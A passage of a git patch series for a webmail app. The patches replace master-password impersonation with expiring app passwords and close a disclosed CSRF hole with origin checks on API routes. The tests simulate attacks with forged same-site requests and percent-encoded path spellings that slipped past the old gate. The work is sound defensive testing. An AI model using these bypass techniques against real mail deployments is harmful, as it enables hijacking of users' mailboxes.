(error) { + // The app password still expires on its own; sign-out must not fail. + logger.warn('Impersonation credential revocation failed', { + error: error instanceof Error ? error.message : 'Unknown error', + }); + } +} + function getSlot(request: NextRequest): number { const raw = request.nextUrl.searchParams.get('slot'); if (raw === null) return 0; @@ -181,7 +218,7 @@ export async function PUT(request: NextRequest) { } const credentials = decryptSession(token); - if (!credentials) { + if (!credentials || holdsMasterPassword(credentials)) { cookieStore.delete(cookieName); clearStalwartAuthContextInStore(cookieStore, slot); return NextResponse.json({ error: 'Invalid session' }, { status: 401 }); @@ -217,10 +254,12 @@ export async function DELETE(request: NextRequest) { cookieStore.delete(sessionCookieName(i)); clearStalwartAuthContextInStore(cookieStore, i); } + await revokeImpersonationGrant(cookieStore); } else { const slot = getSlot(request); cookieStore.delete(sessionCookieName(slot)); clearStalwartAuthContextInStore(cookieStore, slot); + if (slot === 0) await revokeImpersonationGrant(cookieStore); } return NextResponse.json({ ok: true }); diff --git a/lib/__tests__/impersonation-session.test.ts b/lib/__tests__/impersonation-session.test.ts new file mode 100644 index 000000000..1920f148d --- /dev/null +++ b/lib/__tests__/impersonation-session.test.ts @@ -0,0 +1,160 @@ +// @vitest-environment node +import { createHmac, randomUUID } from 'node:crypto'; +import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from 'vitest'; +import { NextRequest } from 'next/server'; + +vi.mock('@/lib/auth/session-secret', () => ({ + getSessionSecret: () => 's'.repeat(64), + hasSessionSecret: () => true, +})); +vi.mock('@/lib/logger', () => ({ + logger: { warn: () => {}, error: () => {}, info: () => {}, debug: () => {} }, +})); +vi.mock('@/lib/telemetry/login-tracker', () => ({ recordLogin: () => {} })); + +const jar = new Map(); +vi.mock('next/headers', () => ({ + cookies: async () => ({ + get: (name: string) => (jar.has(name) ? { name, value: jar.get(name)! } : undefined), + set: (name: string, value: string) => { jar.set(name, value); }, + delete: (name: string) => { jar.delete(name); }, + getAll: () => [...jar].map(([name, value]) => ({ name, value })), + }), +})); + +vi.mock('@/lib/admin/config-manager', () => ({ + configManager: { + ensureLoaded: async () => {}, + get: (key: string, fallback: unknown) => + key === 'jmapServerUrl' ? 'https://mail.example.org' : fallback, + }, +})); + +const SECRET = 'j'.repeat(40); +const MASTER_PASSWORD = 'M4ster-P4ss-for-every-mailbox'; +const APP_SECRET = 'app-password-secret-for-alice'; + +function mintJwt(mailbox: string) { + const now = Math.floor(Date.now() / 1000); + const b64url = (s: string) => Buffer.from(s).toString('base64url'); + const h = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT' })); + const p = b64url(JSON.stringify({ iss: 'platform-api/webmail', iat: now, exp: now + 60, jti: randomUUID(), mailbox })); + const sig = createHmac('sha256', SECRET).update(`${h}.${p}`).digest('base64url'); + return `${h}.${p}.${sig}`; +} + +const SAME_ORIGIN = { 'sec-fetch-site': 'same-origin', 'sec-fetch-mode': 'cors', 'sec-fetch-dest': 'empty' }; + +type Call = { url: string; auth: string | null; body: unknown }; +let calls: Call[]; +let createResult: Record; + +function stalwartFetch(input: RequestInfo | URL, init?: RequestInit): Promise { + const url = String(input); + const headers = new Headers(init?.headers); + const body = typeof init?.body === 'string' ? JSON.parse(init.body) : undefined; + calls.push({ url, auth: headers.get('authorization'), body }); + if (url.endsWith('/jmap/session')) { + return Promise.resolve(Response.json({ + apiUrl: 'https://mail.example.org/jmap/', + primaryAccounts: { 'urn:ietf:params:jmap:mail': 'acc-alice' }, + })); + } + const method = (body as { methodCalls: [string, Record, string][] }).methodCalls[0]; + if (method[1].create) { + return Promise.resolve(Response.json({ methodResponses: [['x:AppPassword/set', createResult, '0']] })); + } + return Promise.resolve(Response.json({ methodResponses: [['x:AppPassword/set', { destroyed: method[1].destroy }, '0']] })); +} + +async function impersonate(mailbox = 'alice@example.org') { + const { GET } = await import('@/app/api/auth/impersonate/route'); + return GET(new NextRequest(`https://webmail.example/api/auth/impersonate?token=${mintJwt(mailbox)}`)); +} + +async function readSession() { + const { PUT } = await import('@/app/api/auth/session/route'); + return PUT(new NextRequest('https://webmail.example/api/auth/session', { method: 'PUT', headers: SAME_ORIGIN })); +} + +describe('impersonation handoff', () => { + beforeAll(() => { + process.env.BULWARK_JWT_AUTH_SECRET = SECRET; + process.env.BULWARK_STALWART_MASTER_USER = 'master@example.org'; + process.env.BULWARK_STALWART_MASTER_PASSWORD = MASTER_PASSWORD; + }); + + beforeEach(() => { + jar.clear(); + calls = []; + createResult = { created: { imp: { id: 'cred-1', secret: APP_SECRET } } }; + vi.stubGlobal('fetch', vi.fn(stalwartFetch)); + }); + + afterEach(() => { + vi.unstubAllGlobals(); + }); + + it('hands the browser an app password for the target mailbox, never the master password', async () => { + const res = await impersonate(); + expect(res.status).toBe(303); + + const put = await readSession(); + expect(put.status).toBe(200); + const body = await put.json(); + expect(body).toEqual({ serverUrl: 'https://mail.example.org', username: 'alice@example.org', password: APP_SECRET }); + expect(JSON.stringify(body)).not.toContain(MASTER_PASSWORD); + expect([...jar.values()].join()).not.toContain(MASTER_PASSWORD); + }); + + it('uses the master credential only towards Stalwart, to create an expiring app password', async () => { + const before = Date.now(); + await impersonate(); + + const masterAuth = `Basic ${Buffer.from(`alice@example.org%master@example.org:${MASTER_PASSWORD}`).toString('base64')}`; + expect(calls.every((c) => c.auth === masterAuth)).toBe(true); + const create = calls.find((c) => c.url.endsWith('/jmap/'))!.body as { + methodCalls: [string, { accountId: string; create: { imp: { expiresAt: string } } }, string][]; + }; + const [method, args] = create.methodCalls[0]; + expect(method).toBe('x:AppPassword/set'); + expect(args.accountId).toBe('acc-alice'); + expect(args.create.imp.expiresAt).toMatch(/^\d{4}-\d\d-\d\dT\d\d:\d\d:\d\dZ$/); + const ttl = Date.parse(args.create.imp.expiresAt) - before; + expect(ttl).toBeGreaterThan(7 * 3600_000); + expect(ttl).toBeLessThanOrEqual(8 * 3600_000); + }); + + it('refuses the handoff when Stalwart does not create the app password', async () => { + createResult = { notCreated: { imp: { type: 'forbidden', description: 'not allowed' } } }; + const res = await impersonate(); + expect(res.status).toBe(502); + expect(jar.size).toBe(0); + }); + + it('revokes the app password on sign-out', async () => { + await impersonate(); + calls = []; + const { DELETE } = await import('@/app/api/auth/session/route'); + const res = await DELETE(new NextRequest('https://webmail.example/api/auth/session?all=true', { + method: 'DELETE', + headers: { 'sec-fetch-site': 'same-origin', origin: 'https://webmail.example' }, + })); + expect(res.status).toBe(200); + const destroy = calls.find((c) => c.url.endsWith('/jmap/'))!.body as { + methodCalls: [string, { destroy: string[] }, string][]; + }; + expect(destroy.methodCalls[0][1].destroy).toEqual(['cred-1']); + expect(jar.size).toBe(0); + }); + + it('will not return a session that still holds the master password', async () => { + const { encryptSession } = await import('@/lib/auth/crypto'); + jar.set('jmap_session', encryptSession('https://mail.example.org', 'alice@example.org%master@example.org', MASTER_PASSWORD)); + + const put = await readSession(); + expect(put.status).toBe(401); + expect(JSON.stringify(await put.json())).not.toContain(MASTER_PASSWORD); + expect(jar.has('jmap_session')).toBe(false); + }); +}); diff --git a/lib/auth/crypto.ts b/lib/auth/crypto.ts index 4e3032d85..ac39563a1 100644 --- a/lib/auth/crypto.ts +++ b/lib/auth/crypto.ts @@ -77,7 +77,9 @@ export type PayloadPurpose = /** Fresh-IdP-login proof required before a device pairing code is issued. */ | 'pair-reauth' /** WOPI access token, scoped to one file node and a six-hour expiry. */ - | 'wopi-token'; + | 'wopi-token' + /** The app password an impersonation handoff minted, kept for revocation. */ + | 'impersonation-grant'; /** * Whether a blob minted before purposes were bound may be re-admitted for @@ -95,6 +97,7 @@ const LEGACY_PAYLOAD_MARKERS: Record p.t === undefined && (p.purpose === undefined || p.purpose === 'reauth'), 'pair-reauth': (p) => p.purpose === 'pair', 'wopi-token': (p) => p.t === 'wopi', + 'impersonation-grant': () => false, }; export function encryptPayload(payload: Record, purpose: PayloadPurpose): string { diff --git a/lib/impersonation/app-password.ts b/lib/impersonation/app-password.ts new file mode 100644 index 000000000..01f4bc57c --- /dev/null +++ b/lib/impersonation/app-password.ts @@ -0,0 +1,117 @@ +import { fetchJmapSession, postJmap, rebaseApiUrl } from '@/lib/stalwart/jmap-api'; + +const STALWART_USING = ['urn:ietf:params:jmap:core', 'urn:stalwart:jmap']; + +/** + * How long an impersonation handoff stays valid. Stalwart enforces it through + * the app password's `expiresAt`, so the session ends even if the browser + * keeps the cookie alive. + */ +export const IMPERSONATION_SESSION_TTL_SEC = 8 * 60 * 60; + +export class ImpersonationCredentialError extends Error { + constructor(message: string) { + super(message); + this.name = 'ImpersonationCredentialError'; + } +} + +export interface ImpersonationCredential { + id: string; + secret: string; + expiresAt: string; +} + +/** Basic auth header for Stalwart master-user login as `mailbox`. */ +export function masterAuthHeader(mailbox: string, masterUser: string, masterPassword: string): string { + return `Basic ${Buffer.from(`${mailbox}%${masterUser}:${masterPassword}`).toString('base64')}`; +} + +/** JMAP UTCDate: no fractional seconds (RFC 8620 section 1.4). */ +function utcDate(date: Date): string { + return date.toISOString().replace(/\.\d{3}Z$/, 'Z'); +} + +function pickAccountId(primaryAccounts: Record | undefined): string | null { + if (!primaryAccounts) return null; + return ( + primaryAccounts['urn:ietf:params:jmap:mail'] ?? + primaryAccounts['urn:stalwart:jmap'] ?? + Object.values(primaryAccounts)[0] ?? + null + ); +} + +async function callStalwart( + serverUrl: string, + authHeader: string, + methodCall: [string, Record, string], +): Promise> { + const session = await fetchJmapSession(serverUrl, authHeader, { trusted: true }); + const accountId = pickAccountId(session?.primaryAccounts); + if (!session || !accountId) { + throw new ImpersonationCredentialError('Could not open the target mailbox with the master credential'); + } + const apiUrl = rebaseApiUrl(session, serverUrl) ?? `${serverUrl}/jmap/`; + const [method, args, callId] = methodCall; + const response = await postJmap( + apiUrl, + authHeader, + JSON.stringify({ using: STALWART_USING, methodCalls: [[method, { accountId, ...args }, callId]] }), + { trusted: true }, + ); + if (!response.ok) { + throw new ImpersonationCredentialError(`Stalwart answered HTTP ${response.status}`); + } + const data = (await response.json()) as { methodResponses?: [string, Record, string][] }; + const result = data.methodResponses?.[0]; + if (!result || result[0] === 'error') { + const detail = result?.[1] as { type?: string; description?: string } | undefined; + throw new ImpersonationCredentialError(detail?.description || detail?.type || 'Unexpected JMAP response'); + } + return result[1]; +} + +/** + * Use the master credential server-side, once, to create an expiring app + * password on the target mailbox. The browser only ever receives this app + * password: it opens that one mailbox and stops working at `expiresAt`, + * while the master password signs in as every mailbox and never expires. + */ +export async function mintImpersonationCredential(opts: { + serverUrl: string; + mailbox: string; + masterUser: string; + masterPassword: string; + description: string; + now?: Date; +}): Promise { + const now = opts.now ?? new Date(); + const expiresAt = utcDate(new Date(now.getTime() + IMPERSONATION_SESSION_TTL_SEC * 1000)); + const result = await callStalwart( + opts.serverUrl, + masterAuthHeader(opts.mailbox, opts.masterUser, opts.masterPassword), + ['x:AppPassword/set', { create: { imp: { description: opts.description, expiresAt } } }, '0'], + ); + const created = (result.created as Record | undefined)?.imp; + if (!created?.id || !created.secret) { + const failed = (result.notCreated as Record | undefined)?.imp; + throw new ImpersonationCredentialError(failed?.description || failed?.type || 'App password was not created'); + } + return { id: created.id, secret: created.secret, expiresAt }; +} + +/** Best-effort revocation of a credential minted by {@link mintImpersonationCredential}. */ +export async function revokeImpersonationCredential(opts: { + serverUrl: string; + mailbox: string; + masterUser: string; + masterPassword: string; + id: string; +}): Promise { + await callStalwart( + opts.serverUrl, + masterAuthHeader(opts.mailbox, opts.masterUser, opts.masterPassword), + ['x:AppPassword/set', { destroy: [opts.id] }, '0'], + ); +} diff --git a/lib/impersonation/grant-cookie.ts b/lib/impersonation/grant-cookie.ts new file mode 100644 index 000000000..773f4e0a2 --- /dev/null +++ b/lib/impersonation/grant-cookie.ts @@ -0,0 +1,29 @@ +import { decryptPayload, encryptPayload } from '@/lib/auth/crypto'; + +/** + * Remembers which app password an impersonation handoff minted, so signing + * out can revoke it instead of leaving it valid until it expires. + * Impersonation always lands in slot 0, so one cookie is enough. + */ +export const IMPERSONATION_GRANT_COOKIE = 'jmap_impersonation'; + +export interface ImpersonationGrant { + serverUrl: string; + mailbox: string; + credentialId: string; +} + +export function sealImpersonationGrant(grant: ImpersonationGrant): string { + return encryptPayload({ ...grant }, 'impersonation-grant'); +} + +export function openImpersonationGrant(token: string | undefined): ImpersonationGrant | null { + if (!token) return null; + const payload = decryptPayload(token, 'impersonation-grant'); + if (!payload) return null; + const { serverUrl, mailbox, credentialId } = payload; + if (typeof serverUrl !== 'string' || typeof mailbox !== 'string' || typeof credentialId !== 'string') { + return null; + } + return { serverUrl, mailbox, credentialId }; +} From 9b9b4f7ef1451e09b178afc38897d11d3bb43887 Mon Sep 17 00:00:00 2001 From: Linus Rath <139418639+rathlinus@users.noreply.github.com> Date: Sat, 26 Sep 2026 14:08:44 +0200 Subject: [PATCH 027/358] fix: reject cross-origin writes to the JMAP passthrough and other cookie-authed routes (GHSA-9mvj-98f5-9q6g) The origin gate in the proxy only covered `/api/auth/*`. The JMAP passthrough, `/api/settings`, `/api/wopi/launch`, `/api/plugin-approval-status`, `/api/fetch-ical`, `/api/translate`, `/api/caldav/discover`, `/api/calendar-agenda` and `/api/webdav` all act with the session cookie and had no origin check. A page on a same-site sibling origin receives SameSite=Lax cookies, so it could run arbitrary JMAP as the signed-in user, including sharing mailboxes to a third account. The proxy now gates every `/api/` route except the WOPI file endpoints the office editor calls server-to-server, and each of these handlers checks again. The proxy also decides on the decoded path, so an escaped spelling such as `/api/%61uth/session` no longer skips the gate. --- app/api/account/stalwart/jmap/route.ts | 5 + app/api/caldav/discover/route.ts | 5 + app/api/calendar-agenda/route.ts | 5 + app/api/fetch-ical/route.ts | 5 + app/api/plugin-approval-status/route.ts | 5 + app/api/settings/route.ts | 9 ++ app/api/translate/route.ts | 5 + app/api/webdav/route.ts | 5 + app/api/wopi/launch/route.ts | 5 + lib/__tests__/api-routes-same-origin.test.ts | 131 +++++++++++++++++++ lib/__tests__/calendar-agenda-route.test.ts | 2 +- lib/__tests__/fetch-ical-route.test.ts | 2 +- proxy.ts | 41 +++++- 13 files changed, 217 insertions(+), 8 deletions(-) create mode 100644 lib/__tests__/api-routes-same-origin.test.ts diff --git a/app/api/account/stalwart/jmap/route.ts b/app/api/account/stalwart/jmap/route.ts index 0fa2bc340..eee53e22f 100644 --- a/app/api/account/stalwart/jmap/route.ts +++ b/app/api/account/stalwart/jmap/route.ts @@ -1,4 +1,5 @@ import { NextRequest, NextResponse } from 'next/server'; +import { rejectCrossOriginRequest } from '@/lib/security/same-origin'; import { logger } from '@/lib/logger'; import { configManager } from '@/lib/admin/config-manager'; import { getStalwartCredentials } from '@/lib/stalwart/credentials'; @@ -18,6 +19,10 @@ import { DisallowedUrlError } from '@/lib/security/url-guard'; * methods under the `x:` namespace on the same endpoint. */ export async function POST(request: NextRequest) { + // CSRF gate (GHSA-9mvj-98f5-9q6g): this handler acts with the caller's + // session cookie, which SameSite=Lax still sends from a same-site page. + const crossOrigin = rejectCrossOriginRequest(request); + if (crossOrigin) return crossOrigin; // Registered unconditionally by Next, so the switch lives here: when the // passthrough (or Stalwart features as a whole) is disabled the route // does not exist as far as callers are concerned. Checked before the diff --git a/app/api/caldav/discover/route.ts b/app/api/caldav/discover/route.ts index 1f82a1fc9..cd425ac1a 100644 --- a/app/api/caldav/discover/route.ts +++ b/app/api/caldav/discover/route.ts @@ -1,4 +1,5 @@ import { NextRequest, NextResponse } from 'next/server'; +import { rejectCrossOriginRequest } from '@/lib/security/same-origin'; import { logger } from '@/lib/logger'; import { getStalwartCredentials } from '@/lib/stalwart/credentials'; import { fetchJmapServer } from '@/lib/stalwart/server-fetch'; @@ -56,6 +57,10 @@ async function probeCalendarHome( } export async function POST(request: NextRequest) { + // CSRF gate (GHSA-9mvj-98f5-9q6g): this handler acts with the caller's + // session cookie, which SameSite=Lax still sends from a same-site page. + const crossOrigin = rejectCrossOriginRequest(request); + if (crossOrigin) return crossOrigin; try { const creds = await getStalwartCredentials(request); if (!creds) { diff --git a/app/api/calendar-agenda/route.ts b/app/api/calendar-agenda/route.ts index 4c345b958..4415a0ed6 100644 --- a/app/api/calendar-agenda/route.ts +++ b/app/api/calendar-agenda/route.ts @@ -1,4 +1,5 @@ import { NextRequest, NextResponse } from 'next/server'; +import { rejectCrossOriginRequest } from '@/lib/security/same-origin'; import { logger } from '@/lib/logger'; import { getStalwartCredentials } from '@/lib/stalwart/credentials'; import { fetchJmapSession, postJmap, rebaseApiUrl } from '@/lib/stalwart/jmap-api'; @@ -100,6 +101,10 @@ function firstCalendarId(event: Partial): string | null { } export async function POST(request: NextRequest) { + // CSRF gate (GHSA-9mvj-98f5-9q6g): this handler acts with the caller's + // session cookie, which SameSite=Lax still sends from a same-site page. + const crossOrigin = rejectCrossOriginRequest(request); + if (crossOrigin) return crossOrigin; try { const creds = await getStalwartCredentials(request); if (!creds) { diff --git a/app/api/fetch-ical/route.ts b/app/api/fetch-ical/route.ts index 4653dfbe3..244ad5d0e 100644 --- a/app/api/fetch-ical/route.ts +++ b/app/api/fetch-ical/route.ts @@ -1,4 +1,5 @@ import { NextRequest, NextResponse } from 'next/server'; +import { rejectCrossOriginRequest } from '@/lib/security/same-origin'; import { getStalwartCredentials } from '@/lib/stalwart/credentials'; import { DisallowedUrlError, fetchPublicUrl, type PublicFetchResponse } from '@/lib/security/url-guard'; @@ -57,6 +58,10 @@ function extractBasicAuth(rawUrl: string): { cleanUrl: string; authHeader: strin * (GHSA-24w9-8r42-8jwm). */ export async function POST(request: NextRequest) { + // CSRF gate (GHSA-9mvj-98f5-9q6g): this handler acts with the caller's + // session cookie, which SameSite=Lax still sends from a same-site page. + const crossOrigin = rejectCrossOriginRequest(request); + if (crossOrigin) return crossOrigin; const creds = await getStalwartCredentials(request); if (!creds) { return NextResponse.json({ error: 'Not authenticated' }, { status: 401 }); diff --git a/app/api/plugin-approval-status/route.ts b/app/api/plugin-approval-status/route.ts index 21c5f42ef..08f99867e 100644 --- a/app/api/plugin-approval-status/route.ts +++ b/app/api/plugin-approval-status/route.ts @@ -1,4 +1,5 @@ import { NextRequest, NextResponse } from 'next/server'; +import { rejectCrossOriginRequest } from '@/lib/security/same-origin'; import { cookies } from 'next/headers'; import { decryptSession } from '@/lib/auth/crypto'; import { sessionCookieName } from '@/lib/auth/session-cookie'; @@ -58,6 +59,10 @@ export async function GET(request: NextRequest) { } export async function POST(request: NextRequest) { + // CSRF gate (GHSA-9mvj-98f5-9q6g): this handler acts with the caller's + // session cookie, which SameSite=Lax still sends from a same-site page. + const crossOrigin = rejectCrossOriginRequest(request); + if (crossOrigin) return crossOrigin; try { const username = await resolveUsername(); if (!username) return NextResponse.json({ error: 'unauthenticated' }, { status: 401 }); diff --git a/app/api/settings/route.ts b/app/api/settings/route.ts index 8d853a746..e456d5ed9 100644 --- a/app/api/settings/route.ts +++ b/app/api/settings/route.ts @@ -1,4 +1,5 @@ import { NextRequest, NextResponse } from 'next/server'; +import { rejectCrossOriginRequest } from '@/lib/security/same-origin'; import { cookies } from 'next/headers'; import { logger } from '@/lib/logger'; import { decryptSession } from '@/lib/auth/crypto'; @@ -121,6 +122,10 @@ export async function GET(request: NextRequest) { } export async function POST(request: NextRequest) { + // CSRF gate (GHSA-9mvj-98f5-9q6g): this handler acts with the caller's + // session cookie, which SameSite=Lax still sends from a same-site page. + const crossOrigin = rejectCrossOriginRequest(request); + if (crossOrigin) return crossOrigin; if (!isEnabled()) { return NextResponse.json({ error: 'Settings sync is disabled' }, { status: 404 }); } @@ -178,6 +183,10 @@ export async function POST(request: NextRequest) { } export async function DELETE(request: NextRequest) { + // CSRF gate (GHSA-9mvj-98f5-9q6g): this handler acts with the caller's + // session cookie, which SameSite=Lax still sends from a same-site page. + const crossOrigin = rejectCrossOriginRequest(request); + if (crossOrigin) return crossOrigin; if (!isEnabled()) { return NextResponse.json({ error: 'Settings sync is disabled' }, { status: 404 }); } diff --git a/app/api/translate/route.ts b/app/api/translate/route.ts index 9493a16e4..d4a971be1 100644 --- a/app/api/translate/route.ts +++ b/app/api/translate/route.ts @@ -1,4 +1,5 @@ import { NextRequest, NextResponse } from 'next/server'; +import { rejectCrossOriginRequest } from '@/lib/security/same-origin'; import { getStalwartCredentials } from '@/lib/stalwart/credentials'; // Host-side proxy backing the "Translate" plugin (manifest apiPostPaths: @@ -257,6 +258,10 @@ async function translateLibre( // ─── Route ──────────────────────────────────────────────────── export async function POST(request: NextRequest) { + // CSRF gate (GHSA-9mvj-98f5-9q6g): this handler acts with the caller's + // session cookie, which SameSite=Lax still sends from a same-site page. + const crossOrigin = rejectCrossOriginRequest(request); + if (crossOrigin) return crossOrigin; // Same session gate as the other authenticated API routes: the plugin's // api.http.post carries the session cookies, but nothing else should be // able to relay requests through this deployment to the backends. (#903) diff --git a/app/api/webdav/route.ts b/app/api/webdav/route.ts index 7a537d411..e4b4ebbca 100644 --- a/app/api/webdav/route.ts +++ b/app/api/webdav/route.ts @@ -1,4 +1,5 @@ import { NextRequest, NextResponse } from 'next/server'; +import { rejectCrossOriginRequest } from '@/lib/security/same-origin'; import { logger } from '@/lib/logger'; import { getStalwartCredentials } from '@/lib/stalwart/credentials'; import { fetchJmapServer } from '@/lib/stalwart/server-fetch'; @@ -51,6 +52,10 @@ function buildDavTargetUrl(baseUrl: string, username: string, rawPath: string, c * Overwrite: WebDAV Overwrite header for MOVE/COPY */ export async function POST(request: NextRequest) { + // CSRF gate (GHSA-9mvj-98f5-9q6g): this handler acts with the caller's + // session cookie, which SameSite=Lax still sends from a same-site page. + const crossOrigin = rejectCrossOriginRequest(request); + if (crossOrigin) return crossOrigin; try { const creds = await getStalwartCredentials(request); if (!creds) { diff --git a/app/api/wopi/launch/route.ts b/app/api/wopi/launch/route.ts index 69e5ec1ae..91bd546ca 100644 --- a/app/api/wopi/launch/route.ts +++ b/app/api/wopi/launch/route.ts @@ -1,4 +1,5 @@ import { NextRequest, NextResponse } from 'next/server'; +import { rejectCrossOriginRequest } from '@/lib/security/same-origin'; import { logger } from '@/lib/logger'; import { configManager } from '@/lib/admin/config-manager'; import { getStalwartCredentials } from '@/lib/stalwart/credentials'; @@ -19,6 +20,10 @@ import { mintWopiToken, wopiDocumentId, type WopiTokenPayload } from '@/lib/wopi * with the token minted here. */ export async function POST(request: NextRequest) { + // CSRF gate (GHSA-9mvj-98f5-9q6g): this handler acts with the caller's + // session cookie, which SameSite=Lax still sends from a same-site page. + const crossOrigin = rejectCrossOriginRequest(request); + if (crossOrigin) return crossOrigin; try { const creds = await getStalwartCredentials(request); if (!creds) { diff --git a/lib/__tests__/api-routes-same-origin.test.ts b/lib/__tests__/api-routes-same-origin.test.ts new file mode 100644 index 000000000..400eed0a0 --- /dev/null +++ b/lib/__tests__/api-routes-same-origin.test.ts @@ -0,0 +1,131 @@ +/** + * @vitest-environment node + * + * GHSA-9mvj-98f5-9q6g: the JMAP passthrough and the other cookie-authed API + * routes acted on the session cookie with no origin check. SameSite=Lax + * cookies still travel with a POST from a same-site sibling origin (and with + * any cross-site POST when cookieSameSite=none), so a page there could drive + * arbitrary JMAP calls as the victim. The proxy now gates every /api/ route, + * on the decoded path, and each state-changing handler checks again. + */ +import { describe, it, expect, vi, beforeEach } from 'vitest'; +import { NextRequest } from 'next/server'; + +vi.mock('@/lib/admin/config-manager', () => ({ + configManager: { + ensureLoaded: vi.fn(async () => {}), + get: vi.fn((_key: string, fallback: unknown) => fallback), + getPolicy: vi.fn(() => ({ features: { pluginsEnabled: false } })), + }, +})); +vi.mock('@/lib/setup/state', () => ({ detectSetupState: vi.fn(() => 'configured') })); +vi.mock('@/lib/admin/csp-frame-origins', () => ({ getEnabledPluginFrameOrigins: vi.fn(async () => []) })); +vi.mock('next-intl/middleware', async () => { + const { NextResponse } = await import('next/server'); + return { default: () => () => NextResponse.next() }; +}); +vi.mock('@/lib/logger', () => ({ + logger: { warn: vi.fn(), error: vi.fn(), debug: vi.fn(), info: vi.fn() }, +})); + +import { proxy, routePathOf } from '@/proxy'; + +const HOST = 'mail.victim.example'; + +/** A form POST from https://evil.victim.example, a same-site sibling. */ +const SAME_SITE: Record = { + host: HOST, + origin: 'https://evil.victim.example', + 'content-type': 'text/plain;charset=UTF-8', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'navigate', + 'sec-fetch-dest': 'document', +}; + +const SAME_ORIGIN: Record = { + host: HOST, + origin: `https://${HOST}`, + 'content-type': 'application/json', + 'sec-fetch-site': 'same-origin', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', +}; + +function post(path: string, headers: Record): NextRequest { + return new NextRequest(`https://${HOST}${path}`, { method: 'POST', headers, body: '{}' }); +} + +beforeEach(() => { + vi.clearAllMocks(); +}); + +describe('routePathOf', () => { + it('decodes percent-escapes the route matcher decodes', () => { + expect(routePathOf('/api/%61uth/session')).toBe('/api/auth/session'); + expect(routePathOf('/api/account/stalwart/jmap')).toBe('/api/account/stalwart/jmap'); + }); + + it('keeps a malformed escape as it is', () => { + expect(routePathOf('/api/%E0%A4%A')).toBe('/api/%E0%A4%A'); + }); +}); + +describe('proxy origin gate', () => { + it.each([ + '/api/account/stalwart/jmap', + '/api/settings', + '/api/wopi/launch', + '/api/plugin-approval-status', + '/api/fetch-ical', + '/api/translate', + '/api/auth/session', + '/api/%61ccount/stalwart/jmap', + '/api/%61uth/session', + '/api/%73ettings', + ])('refuses a same-site POST to %s', async (path) => { + const res = await proxy(post(path, SAME_SITE)); + expect(res.status).toBe(403); + }); + + it('lets the SPA through', async () => { + const res = await proxy(post('/api/account/stalwart/jmap', SAME_ORIGIN)); + expect(res.status).toBe(200); + }); + + it('lets native clients without browser headers through', async () => { + const res = await proxy(post('/api/account/stalwart/jmap', { host: HOST, 'content-type': 'application/json' })); + expect(res.status).toBe(200); + }); + + it('leaves the WOPI file endpoints to their own token check', async () => { + const res = await proxy(post('/api/wopi/files/abc/contents', SAME_SITE)); + expect(res.status).toBe(200); + }); + + it('never blocks a GET', async () => { + const res = await proxy(new NextRequest(`https://${HOST}/api/settings`, { headers: SAME_SITE })); + expect(res.status).toBe(200); + }); +}); + +describe('handler origin gate', () => { + const HANDLERS: Array<[string, 'POST' | 'DELETE']> = [ + ['@/app/api/account/stalwart/jmap/route', 'POST'], + ['@/app/api/settings/route', 'POST'], + ['@/app/api/settings/route', 'DELETE'], + ['@/app/api/wopi/launch/route', 'POST'], + ['@/app/api/plugin-approval-status/route', 'POST'], + ['@/app/api/fetch-ical/route', 'POST'], + ['@/app/api/translate/route', 'POST'], + ['@/app/api/caldav/discover/route', 'POST'], + ['@/app/api/calendar-agenda/route', 'POST'], + ['@/app/api/webdav/route', 'POST'], + ]; + + it.each(HANDLERS)('%s %s refuses a same-site request', async (modulePath, method) => { + const mod = (await import(/* @vite-ignore */ modulePath)) as Record Promise>; + const req = new NextRequest(`https://${HOST}/api/x`, { method, headers: SAME_SITE, body: '{}' }); + const res = await mod[method](req); + expect(res.status).toBe(403); + }); +}); diff --git a/lib/__tests__/calendar-agenda-route.test.ts b/lib/__tests__/calendar-agenda-route.test.ts index 9de5976a8..bb1264526 100644 --- a/lib/__tests__/calendar-agenda-route.test.ts +++ b/lib/__tests__/calendar-agenda-route.test.ts @@ -36,7 +36,7 @@ function makeSession(capabilities: Record) { } function makeReq(): Parameters[0] { - return { json: async () => ({}) } as unknown as Parameters[0]; + return { method: 'POST', headers: new Headers(), json: async () => ({}) } as unknown as Parameters[0]; } async function agendaUsing(capabilities: Record): Promise { diff --git a/lib/__tests__/fetch-ical-route.test.ts b/lib/__tests__/fetch-ical-route.test.ts index 12c175bd8..792d6836b 100644 --- a/lib/__tests__/fetch-ical-route.test.ts +++ b/lib/__tests__/fetch-ical-route.test.ts @@ -38,7 +38,7 @@ const mockCreds = getStalwartCredentials as unknown as Mock; type RouteResponse = { status: number; headers: Headers; body: unknown; json?: () => Promise }; function makeReq(body: unknown): Parameters[0] { - return { json: async () => body } as unknown as Parameters[0]; + return { method: 'POST', headers: new Headers(), json: async () => body } as unknown as Parameters[0]; } function ics(status = 200, headers: Record = {}) { diff --git a/proxy.ts b/proxy.ts index 9009046fe..cc6113c82 100644 --- a/proxy.ts +++ b/proxy.ts @@ -115,6 +115,29 @@ function forwardRequestHeaders( return response; } +/** + * The path Next routes on. `nextUrl.pathname` keeps percent-escapes, but the + * route matcher decodes them, so `/api/%61uth/session` reaches the + * `/api/auth/session` handler. Security decisions must use the decoded form + * or an escaped spelling walks around them. + */ +export function routePathOf(pathname: string): string { + try { + return decodeURIComponent(pathname); + } catch { + return pathname; + } +} + +/** + * Paths under /api/ that must accept requests without a same-origin browser + * context: the office editor's WOPI host calls the file endpoints + * server-to-server with a token of its own, not the session cookie. + */ +function isOriginGateExempt(routePath: string): boolean { + return routePath.startsWith("/api/wopi/files/"); +} + function isSetupPath(pathname: string): boolean { return ( pathname === "/setup" || @@ -128,7 +151,10 @@ export async function proxy(request: NextRequest) { // boot triggers the config load; subsequent calls are in-memory. await configManager.ensureLoaded(); const setupState = detectSetupState(); - const pathname = request.nextUrl.pathname; + // Raw form for what is echoed back (x-pathname); decoded form for every + // decision about the request. + const rawPathname = request.nextUrl.pathname; + const pathname = routePathOf(rawPathname); if (setupState === "bootstrap") { // Wizard active. Redirect HTML pages to /setup; let asset/internal @@ -170,10 +196,13 @@ export async function proxy(request: NextRequest) { return NextResponse.redirect(url); } - // Outer CSRF gate for the unauthenticated auth routes (GHSA-qvr9-m8cq-7wvg). - // Each handler checks this itself as well; this layer covers any route - // added under /api/auth/ later. GET/HEAD/OPTIONS pass through untouched. - if (pathname.startsWith("/api/auth/") && !isSameOriginRequest(request)) { + // Outer CSRF gate for every API route 